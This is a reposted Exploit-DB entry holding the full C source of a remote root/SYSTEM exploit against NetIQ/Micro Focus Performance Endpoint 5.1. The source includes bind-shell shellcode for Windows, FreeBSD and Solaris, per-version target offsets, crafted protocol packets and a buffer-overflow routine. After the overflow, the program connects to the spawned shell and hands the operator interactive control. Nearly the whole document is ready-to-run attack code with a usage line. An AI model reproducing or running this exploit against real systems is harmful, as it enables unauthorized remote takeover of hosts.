[local] NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit
2023-4-1 08:0:0 Author: www.exploit-db.com(查看原文) 阅读量:10 收藏
2023-4-1 08:0:0 Author: www.exploit-db.com(查看原文) 阅读量:10 收藏
/*
# Exploit Title: NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit
# Date: Jun 2007
# Exploit Author: mu-b
# Vendor Homepage: https://www.microfocus.com/en-us/cyberres/identity-access-management
# Version: All
# Tested on: Windows / Solaris x86/SPARC
# CVE : 0day
* endpoint-pown-uni.c
*
* Copyright (c) 2007 by <[email protected]>
*
* NetIQ Performance Endpoint <=5.1 remote root/SYSTEM exploit
* by mu-b - Jun 2007
*
* $Id: endpoint-pown-uni.c 56 2021-04-23 10:15:49Z mu-b $
*
* - Tested on: NetIQ Performance Endpoint 5.1.15750 (win32)
* (Revised: December, 2012)
* NetIQ Performance Endpoint 5.1.15541 (win32)
* (Revised: December, 2012)
* NetIQ Performance Endpoint 5.1.15368 (win32)
* (Revised: December, 2012)
* NetIQ Performance Endpoint 5.1 (win32)
* NetIQ Performance Endpoint 4.2 (freebsd-x86)
* NetIQ Performance Endpoint 5.1 (solaris-SPARC+noexec-stack)
* (Revised: May 23, 2006)
*
*
* "No executable code (like Java or Visual Basic) is sent. There is no way
* to do something like 'run this command.' 100,000’s of endpoints have been
* installed worldwide without incident."
*
* "Endpoints do rigorous internal validation. For example, endpoints are not
* susceptible to 'buffer overrun' attacks used by hackers."
* - https://tinyurl.com/lgmblyj
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs [email protected]$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <assert.h>
#include <ifaddrs.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define IPV4_BUFLEN 16 /* "255.255.255.255\0" */
#define PORT_SHELL 10000
#define ENDPT_TCP_PORT 10115
#define ENDPT_PKTMAX 0x1388
static char ppkt_buf1[] =
"\x06" /* ENDPT_COMMAND_SETUP_E1 */
"\x07\x14\x43\x1A" /* verify_get_id (1) */
"\x00\x22" /* copyright_smart_compare */
"Copyright Ganymede Software Inc."
"\x00\x03" /* */
"\xff" /* code_convert_from_line */
"\x00\x03" /* */
"\xff" /* code_convert_from_line */
"\x00" /* */
"\x00\x02" /* len < 0x80 */
"\x00\x03" /* len < 0x40 */
"\x00" /* len < 0x40 */
"\x41\x41\x41\x41\x41\x41\x41\x41" /* */
"\x41\x41\x41\x41\x41\x41\x41\x41" /* */
"\x02" /* protocol */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x41\x41\x41\x41\x41\x41" /* */
"\x00\x00\x00\x01" /* */
"\x00\x00\x00\x02" /* 218h */
"\x00" /* */
"\x01" /* 1ACh */
"\x00\x00" /* */
"\x00" /* 254h */
"\x02" /* protocol */
"\x00\x03" /* len < 0x40 */
"\x00"; /* */
static char ppkt_buf1_end[] =
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00"; /* */
static char ppkt_buf2[] =
"\x06" /* ENDPT_COMMAND_SETUP_E1 */
"\x07\x14\x43\x1A" /* verify_get_id (1) */
"\x00\x22" /* copyright_smart_compare */
"Copyright Ganymede Software Inc."
"\x00\x03" /* */
"\xff" /* code_convert_from_line */
"\x00\x03" /* */
"\xff" /* code_convert_from_line */
"\x02" /* protocol */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x69" /* 210h */
"\x00\x00\x00\x69" /* var_C */
"\x00\x02" /* */
"\x00\x00\x00\x69" /* var_C */
"\x00\x00\x00\x69" /* 218h */
"\x69" /* */
"\x01" /* 1ACh */
"\x00\x00" /* */
"\x69" /* 254h */
"\x02" /* protocol */
"\x00\x03" /* len < 0x40 */
"\x00"; /* */
static char ppkt_buf2_end[] =
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x00\x03" /* len < 0x40 */
"\x00" /* */
"\x69" /* 0A8h */
"\x00\x03" /* len < 0x40 */
"\x00"; /* */
static char cpkt_buf1[] =
"\x07"
"AAAA";
static char cpkt_buf2[] =
"\x38"
"\x00\x04"
"AAAA";
static char x86_evil_len[] =
"\x11\xc0"; /* adc eax, eax */
#define X86_NOP_BYTE 0x90 /* nop */
static char sparc_evil_len[] =
"\x10\x80\x00\x3c"; /* ba */
static char sparc_nop[] =
"\x01\x00\x00\x00"; /* nop */
static char hammer_buf[] =
"\x00\x25\x38"
"\x00\x20"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00";
static char win32_x86_bind[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8e"
"\x2b\xb7\x2a\x83\xeb\xfc\xe2\xf4\x72\x41\x5c\x67\x66\xd2\x48\xd5"
"\x71\x4b\x3c\x46\xaa\x0f\x3c\x6f\xb2\xa0\xcb\x2f\xf6\x2a\x58\xa1"
"\xc1\x33\x3c\x75\xae\x2a\x5c\x63\x05\x1f\x3c\x2b\x60\x1a\x77\xb3"
"\x22\xaf\x77\x5e\x89\xea\x7d\x27\x8f\xe9\x5c\xde\xb5\x7f\x93\x02"
"\xfb\xce\x3c\x75\xaa\x2a\x5c\x4c\x05\x27\xfc\xa1\xd1\x37\xb6\xc1"
"\x8d\x07\x3c\xa3\xe2\x0f\xab\x4b\x4d\x1a\x6c\x4e\x05\x68\x87\xa1"
"\xce\x27\x3c\x5a\x92\x86\x3c\x6a\x86\x75\xdf\xa4\xc0\x25\x5b\x7a"
"\x71\xfd\xd1\x79\xe8\x43\x84\x18\xe6\x5c\xc4\x18\xd1\x7f\x48\xfa"
"\xe6\xe0\x5a\xd6\xb5\x7b\x48\xfc\xd1\xa2\x52\x4c\x0f\xc6\xbf\x28"
"\xdb\x41\xb5\xd5\x5e\x43\x6e\x23\x7b\x86\xe0\xd5\x58\x78\xe4\x79"
"\xdd\x78\xf4\x79\xcd\x78\x48\xfa\xe8\x43\x90\x3a\xe8\x78\x3e\xcb"
"\x1b\x43\x13\x30\xfe\xec\xe0\xd5\x58\x41\xa7\x7b\xdb\xd4\x67\x42"
"\x2a\x86\x99\xc3\xd9\xd4\x61\x79\xdb\xd4\x67\x42\x6b\x62\x31\x63"
"\xd9\xd4\x61\x7a\xda\x7f\xe2\xd5\x5e\xb8\xdf\xcd\xf7\xed\xce\x7d"
"\x71\xfd\xe2\xd5\x5e\x4d\xdd\x4e\xe8\x43\xd4\x47\x07\xce\xdd\x7a"
"\xd7\x02\x7b\xa3\x69\x41\xf3\xa3\x6c\x1a\x77\xd9\x24\xd5\xf5\x07"
"\x70\x69\x9b\xb9\x03\x51\x8f\x81\x25\x80\xdf\x58\x70\x98\xa1\xd5"
"\xfb\x6f\x48\xfc\xd5\x7c\xe5\x7b\xdf\x7a\xdd\x2b\xdf\x7a\xe2\x7b"
"\x71\xfb\xdf\x87\x57\x2e\x79\x79\x71\xfd\xdd\xd5\x71\x1c\x48\xfa"
"\x05\x7c\x4b\xa9\x4a\x4f\x48\xfc\xdc\xd4\x67\x42\x61\xe5\x57\x4a"
"\xdd\xd4\x61\xd5\x5e\x2b\xb7\x2a";
static char freebsd_x86_bind[] =
"\x6a\x61\x58\x99\x52\x68\x10\x02\x27\x10\x89\xe1\x52\x42\x52\x42"
"\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0"
"\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a"
"\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80";
static char solaris_sparc_bind[] =
"\x9c\x2b\xa0\x07\x98\x10\x20\x01\x96\x1a\xc0\x0b\x94\x1a\xc0\x0b"
"\x92\x10\x20\x02\x90\x10\x20\x02\x82\x10\x20\xe6\x91\xd0\x20\x08"
"\xd0\x23\xbf\xf8\x21\x00\x00\x89\xa0\x14\x23\x10\xe0\x23\xbf\xf0"
"\xc0\x23\xbf\xf4\x92\x23\xa0\x10\x94\x10\x20\x10\x82\x10\x20\xe8"
"\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x10\x20\x01\x82\x10\x20\xe9"
"\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x1a\x40\x09\x94\x12\x40\x09"
"\x82\x10\x20\xea\x91\xd0\x20\x08\xd0\x23\xbf\xf8\x94\x10\x20\x03"
"\x92\x10\x20\x09\x94\xa2\xa0\x01\x82\x10\x20\x3e\x91\xd0\x20\x08"
"\x12\xbf\xff\xfc\xd0\x03\xbf\xf8\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a"
"\xa0\x14\x21\x6e\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08"
"\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
"\x91\xd0\x20\x08";
static char solaris_x86_bind[] =
"\xb8\xff\xff\xff\xff\xba\xfd\xff\xd8\xef\xf7\xd0\xf7\xd2\x50\x52"
"\x89\xe7\x31\xdb\xf7\xe3\xb0\x02\x50\x52\x52\x50\x50\x50\xb0\xe6"
"\xcd\x91\x93\x6a\x10\x57\x53\x52\xb0\xe8\xcd\x91\x52\x53\x52\xb0"
"\xe9\xcd\x91\x52\x53\x6a\x02\xb0\xea\xcd\x91\x93\x92\x99\x59\x51"
"\x52\xb0\x06\xcd\x91\x51\x6a\x09\x53\x52\xb0\x3e\xcd\x91\x83\xc4"
"\x18\x49\x79\xeb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\x52\x52\x51\x53\x52\xb0\x3b\xcd\x91";
#define NUM_TARGETS 7
#define ARCH_X86 0
#define ARCH_SPARC 1
struct target_t
{
const char *name;
const char *zshell;
const int zshell_len;
const int zshell_pkt_len;
const int fp_indx;
const int fp_offset;
const int arch;
};
struct target_t targets[] = {
{ "NetIQ Endpoint 5.1.15750 - Microsoft Windows (universal)",
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x490, ARCH_X86 },
{ "NetIQ Endpoint 5.1.15541 - Microsoft Windows (universal)",
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x490, ARCH_X86 },
{ "NetIQ Endpoint 5.1.15368 - Microsoft Windows (universal)",
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x488, ARCH_X86 },
{ "NetIQ Endpoint 5.1 - Microsoft Windows (universal)",
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x480, ARCH_X86 },
{ "NetIQ Endpoint 5.1 - FreeBSD (universal)",
freebsd_x86_bind, sizeof freebsd_x86_bind, 0x11c0, 29, 0x3FC, ARCH_X86 },
{ "NetIQ Endpoint 5.1 - Solaris SPARC (universal)",
solaris_sparc_bind, sizeof solaris_sparc_bind, 0x1080, 29, 0x400, ARCH_SPARC },
{ "NetIQ Endpoint 5.1 - Solaris x86 (universal)",
solaris_x86_bind, sizeof solaris_x86_bind, 0x11c0, 29, 0x400, ARCH_X86 },
{0}
};
static const char *quotes[] = {
" \"No executable code (like Java or Visual Basic) is sent. There is no way\n"
" to do something like 'run this command.' 100,000’s of endpoints have been\n"
" installed worldwide without incident.\"",
" \"Endpoints do rigorous internal validation. For example, endpoints are not\n"
" susceptible to 'buffer overrun' attacks used by hackers.\""
};
static int verbose = 1; /* verbosity */
static int ppid, cpid; /* parent and child process id's */
static int get_localip_getifaddrs (in_addr_t *);
static int sock_send (int, char *, int);
static int sock_recv (int, char *, int);
static int sock_recv_str (int, char *, int);
static void shellami (int);
static void
fatal (void)
{
kill (0, SIGKILL);
exit (EXIT_FAILURE);
}
static int
get_localip_getifaddrs (in_addr_t *ip_addr)
{
struct ifaddrs *ifa_head;
int result;
result = -1;
if (getifaddrs (&ifa_head) == 0)
{
struct ifaddrs *ifa_cur;
for (ifa_cur = ifa_head; ifa_cur; ifa_cur = ifa_cur->ifa_next)
{
if (ifa_cur->ifa_name != NULL && ifa_cur->ifa_addr != NULL)
{
if (ifa_cur->ifa_addr->sa_family != AF_INET ||
!(ifa_cur->ifa_flags & IFF_UP))
continue;
if (ifa_cur->ifa_flags & IFF_LOOPBACK)
continue;
memcpy (ip_addr,
&((struct sockaddr_in *) ifa_cur->ifa_addr)->sin_addr,
sizeof *ip_addr);
result = 0;
break;
}
}
freeifaddrs (ifa_head);
}
return (result);
}
static int
sock_send (int fd, char *src, int len)
{
int n;
if ((n = send (fd, src, len, 0)) < 0)
{
perror ("send()");
exit (EXIT_FAILURE);
}
return (n);
}
static int
sock_recv (int fd, char *dst, int len)
{
int n;
if ((n = recv (fd, dst, len, 0)) < 0)
{
perror ("recv()");
exit (EXIT_FAILURE);
}
return (n);
}
static int
sock_recv_str (int fd, char *dst, int len)
{
int n = sock_recv (fd, dst, len - 1);
dst[n] = '\0';
return (n);
}
static void
shellami (int fd)
{
int n;
fd_set rset;
char rbuf[1024];
while (1)
{
FD_ZERO (&rset);
FD_SET (fd, &rset);
FD_SET (STDIN_FILENO, &rset);
if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
{
perror ("select()");
fatal ();
}
if (FD_ISSET (fd, &rset))
{
if ((n = sock_recv_str (fd, rbuf, sizeof (rbuf) - 1)) <= 0)
{
fprintf (stderr, "Connection closed by foreign host.\n");
exit (EXIT_SUCCESS);
}
printf ("%s", rbuf);
fflush (stdout);
}
if (FD_ISSET (STDIN_FILENO, &rset))
{
if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0)
{
rbuf[n] = '\0';
sock_send (fd, rbuf, n);
}
}
}
}
static int
sockami (char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int fd;
fflush (stdout);
if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket()");
exit (EXIT_FAILURE);
}
if ((hp = gethostbyname (host)) == NULL)
{
perror ("gethostbyname()");
exit (EXIT_FAILURE);
}
memset (&address, 0, sizeof (address));
memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons (port);
if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
{
perror ("connect()");
return (-1);
}
return (fd);
}
int
endpt_add_string (char *buf, char *str)
{
unsigned int str_len;
unsigned short str_lens;
assert (buf != NULL && str != NULL);
str_len = 2 + strlen (str) + 1;
str_lens = htons (str_len);
/* add the string length and copy, including NULL */
*((unsigned short *) buf) = str_lens;
memcpy (buf + 2, str, str_len - 2);
return (str_len);
}
char *
endpt_read_packet (int fd, char *buf)
{
unsigned short pkt_len;
int n;
n = sock_recv (fd, (char *) &pkt_len, sizeof pkt_len);
if (n < 2)
{
fprintf (stderr, "endpt_read_packet: failed reading length!\n");
return (NULL);
}
pkt_len = ntohs (pkt_len);
if (pkt_len > ENDPT_PKTMAX)
{
fprintf (stderr, "endpt_read_packet: invalid packet length!\n");
return (NULL);
}
n = sock_recv (fd, buf, pkt_len - 2);
if (n < pkt_len - 2)
{
fprintf (stderr, "endpt_read_packet: failed reading packet (%d read, need %d)!\n", n, pkt_len);
return (NULL);
}
return (buf);
}
char *
endpt_create_packet (char *buf, unsigned int len)
{
char *pkt_buf;
unsigned int pkt_len;
unsigned short pkt_lens;
assert (buf != NULL && len > 0);
assert (len <= UINT_MAX - 2);
assert (len <= ENDPT_PKTMAX - 2);
pkt_len = 2 + len;
pkt_buf = malloc (pkt_len * sizeof (char));
if (pkt_buf == NULL)
return (NULL);
pkt_lens = htons (pkt_len);
/* add the packet length and copy */
*((unsigned short *) pkt_buf) = pkt_lens;
memcpy (pkt_buf + 2, buf, len);
return (pkt_buf);
}
void
endpt_listen_child (char *thost, struct target_t *trgt)
{
struct sockaddr_in servaddr, cliaddr;
char pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
unsigned int var_30_ptr;
int lfd, cfd, sfd, pid;
socklen_t clilen;
sleep (1);
pid = getpid ();
if ((lfd = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror ("socket()");
fatal ();
}
memset (&servaddr, 0, sizeof servaddr);
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
servaddr.sin_port = htons (ENDPT_TCP_PORT);
if (bind (lfd, (struct sockaddr *) &servaddr, sizeof servaddr) < 0)
{
perror ("bind()");
fatal ();
}
if (listen (lfd, 2) < 0)
{
perror ("listen()");
fatal ();
}
clilen = sizeof cliaddr;
if ((cfd = accept (lfd, (struct sockaddr *) &cliaddr, &clilen)) < 0)
{
perror ("accept()");
fatal ();
}
printf ("[child-%d] connection accepted from %s:%d\n",
pid, inet_ntoa (cliaddr.sin_addr), ntohs (cliaddr.sin_port));
printf ("[child-%d] reading first packet...", pid);
/* read dummy packet */
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
{
close (cfd);
fatal ();
}
printf ("done\n");
printf ("[child-%d] sending first reply...", pid);
pkt_ptr = endpt_create_packet (cpkt_buf1, sizeof cpkt_buf1 - 1);
sock_send (cfd, pkt_ptr, (sizeof cpkt_buf1 - 1) + 2);
free (pkt_ptr);
printf ("done\n");
printf ("[child-%d] reading second packet...", pid);
/* read dummy packet */
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
{
close (cfd);
fatal ();
}
printf ("done\n");
printf ("[child-%d] reading third packet...", pid);
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
{
close (cfd);
fatal ();
}
memcpy (&var_30_ptr, pkt_buf + 3, sizeof var_30_ptr);
printf ("done\n");
printf ("[child-%d] MAGIC COOKIE: 0x%08x\n", pid, var_30_ptr);
memcpy (&cpkt_buf2[3], &var_30_ptr, sizeof var_30_ptr);
printf ("[child-%d] reading fourth packet...", pid);
/* read dummy packet */
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
{
close (cfd);
fatal ();
}
printf ("done\n");
printf ("[child-%d] reading fifth packet...", pid);
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
{
close (cfd);
fatal ();
}
memcpy (&var_30_ptr, pkt_buf + 3, sizeof var_30_ptr);
printf ("done\n");
printf ("[child-%d] MAGIC COOKIE: 0x%08x\n", pid, var_30_ptr);
memcpy (&cpkt_buf2[3], &var_30_ptr, sizeof var_30_ptr);
printf ("[child-%d] sending second reply...", pid);
pkt_ptr = endpt_create_packet (cpkt_buf2, sizeof cpkt_buf2 - 1);
sock_send (cfd, pkt_ptr, (sizeof cpkt_buf2 - 1) + 2);
free (pkt_ptr);
printf ("done\n");
printf ("[child-%d] sending evil buffer...", pid);
ptr = pkt_buf;
if (trgt->arch == ARCH_X86)
{
memcpy (ptr, x86_evil_len, sizeof x86_evil_len);
ptr += sizeof x86_evil_len - 1;
memset (ptr, X86_NOP_BYTE, 0x11c0 - 2);
}
else if (trgt->arch == ARCH_SPARC)
{
int i;
for (i = 0; i < 2; i++, ptr += sizeof sparc_evil_len - 1)
memcpy (ptr, sparc_evil_len, sizeof sparc_evil_len);
for (i = 0; i < 80; i++, ptr += sizeof sparc_nop - 1)
memcpy (ptr, sparc_nop, sizeof sparc_nop);
}
else
{
fprintf (stderr, "opps\n");
exit (EXIT_FAILURE);
}
memcpy (&pkt_buf[256], trgt->zshell, trgt->zshell_len - 1);
sock_send (cfd, pkt_buf, trgt->zshell_pkt_len);
printf ("done\n");
printf ("[child-%d] sending hammer buffer...", pid);
ptr = pkt_buf;
memcpy (ptr, hammer_buf, sizeof hammer_buf);
memcpy (&pkt_buf[5], &var_30_ptr, sizeof var_30_ptr);
if (trgt->arch == ARCH_SPARC)
var_30_ptr = ntohl (var_30_ptr);
var_30_ptr -= trgt->fp_offset - 0x08;
if (trgt->arch == ARCH_SPARC)
var_30_ptr = htonl (var_30_ptr);
memcpy (&pkt_buf[trgt->fp_indx], &var_30_ptr, sizeof var_30_ptr);
sock_send (cfd, pkt_buf, sizeof hammer_buf - 1);
printf ("done\n");
printf ("[child-%d] waiting for the shellcode to be executed...\n", pid);
sleep (3);
if ((sfd = sockami (thost, PORT_SHELL)) != -1)
{
printf ("+Wh00t!\n\n");
shellami (sfd);
}
sleep (1);
close (cfd);
}
void
endpt_parent (char *thost)
{
struct in_addr ip_addr;
char ip_buf[IPV4_BUFLEN], pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
int fd;
get_localip_getifaddrs (&ip_addr.s_addr);
strncpy (ip_buf, inet_ntoa (ip_addr), sizeof ip_buf);
ip_buf[sizeof ip_buf - 1] = '\0';
if (verbose)
fprintf (stderr, "[parent-%d] source address %s\n", ppid, ip_buf);
fflush (stdout);
printf ("[parent-%d] connecting to %s:%d...", ppid, thost, ENDPT_TCP_PORT);
if ((fd = sockami (thost, ENDPT_TCP_PORT)) < 0)
fatal ();
printf ("done\n");
printf ("[parent-%d] building first packet...", ppid);
ptr = pkt_buf;
memcpy (ptr, ppkt_buf1, sizeof ppkt_buf1);
ptr += sizeof ppkt_buf1 - 1;
/* add the connect-back IP */
ptr += endpt_add_string (ptr, ip_buf);
memcpy (ptr, ppkt_buf1_end, sizeof ppkt_buf1_end);
ptr += sizeof ppkt_buf1_end - 1;
pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
printf ("done\n");
sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
free (pkt_ptr);
printf ("[parent-%d] building second packet...", ppid);
ptr = pkt_buf;
memcpy (ptr, ppkt_buf2, sizeof ppkt_buf2);
ptr += sizeof ppkt_buf2 - 1;
/* add the connect-back IP */
ptr += endpt_add_string (ptr, ip_buf);
memcpy (ptr, ppkt_buf2_end, sizeof ppkt_buf2_end);
ptr += sizeof ppkt_buf2_end - 1;
pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
printf ("done\n");
sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
printf ("[parent-%d] building third packet...done\n", ppid);
sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
free (pkt_ptr);
sleep (2);
printf ("[parent-%d] closing socket...done\n", ppid);
close (fd);
}
int
main (int argc, char **argv)
{
struct target_t *trgt;
int i, cret;
printf ("NetIQ Performance Endpoint <=5.1 remote root/SYSTEM exploit\n"
"by: <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs [email protected]$!\n\n");
if (argc <= 2)
{
fprintf (stderr, "Usage: %s <host> <target>\n", argv[0]);
for (i = 0; targets[i].name; i++)
fprintf (stderr, "\t%d) %s\n", i, targets[i].name);
fprintf (stderr, "\n");
exit (EXIT_SUCCESS);
}
if (atoi (argv[2]) >= NUM_TARGETS)
{
fprintf (stderr, "Only %d targets known!!\n", NUM_TARGETS);
exit (EXIT_SUCCESS);
}
trgt = &targets[atoi (argv[2])];
printf ("Target: %s\n\n", trgt->name);
srand (time (NULL));
printf ("%s\n\t- https://tinyurl.com/lgmblyj\n\n", quotes[rand() & 1]);
ppid = getpid ();
if ((cpid = fork ()) < 0)
{
perror ("fark()");
exit (EXIT_FAILURE);
}
else if (cpid == 0)
{
/* child */
endpt_listen_child (argv[1], trgt);
exit (EXIT_SUCCESS);
}
/* parent */
endpt_parent (argv[1]);
/* wait for child */
wait (&cret);
if (verbose)
fprintf (stderr, "[parent-%d] child-%d exited %d\n", ppid, cpid, cret);
return (EXIT_SUCCESS);
}
文章来源: https://www.exploit-db.com/exploits/51199
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如有侵权请联系:admin#unsafe.sh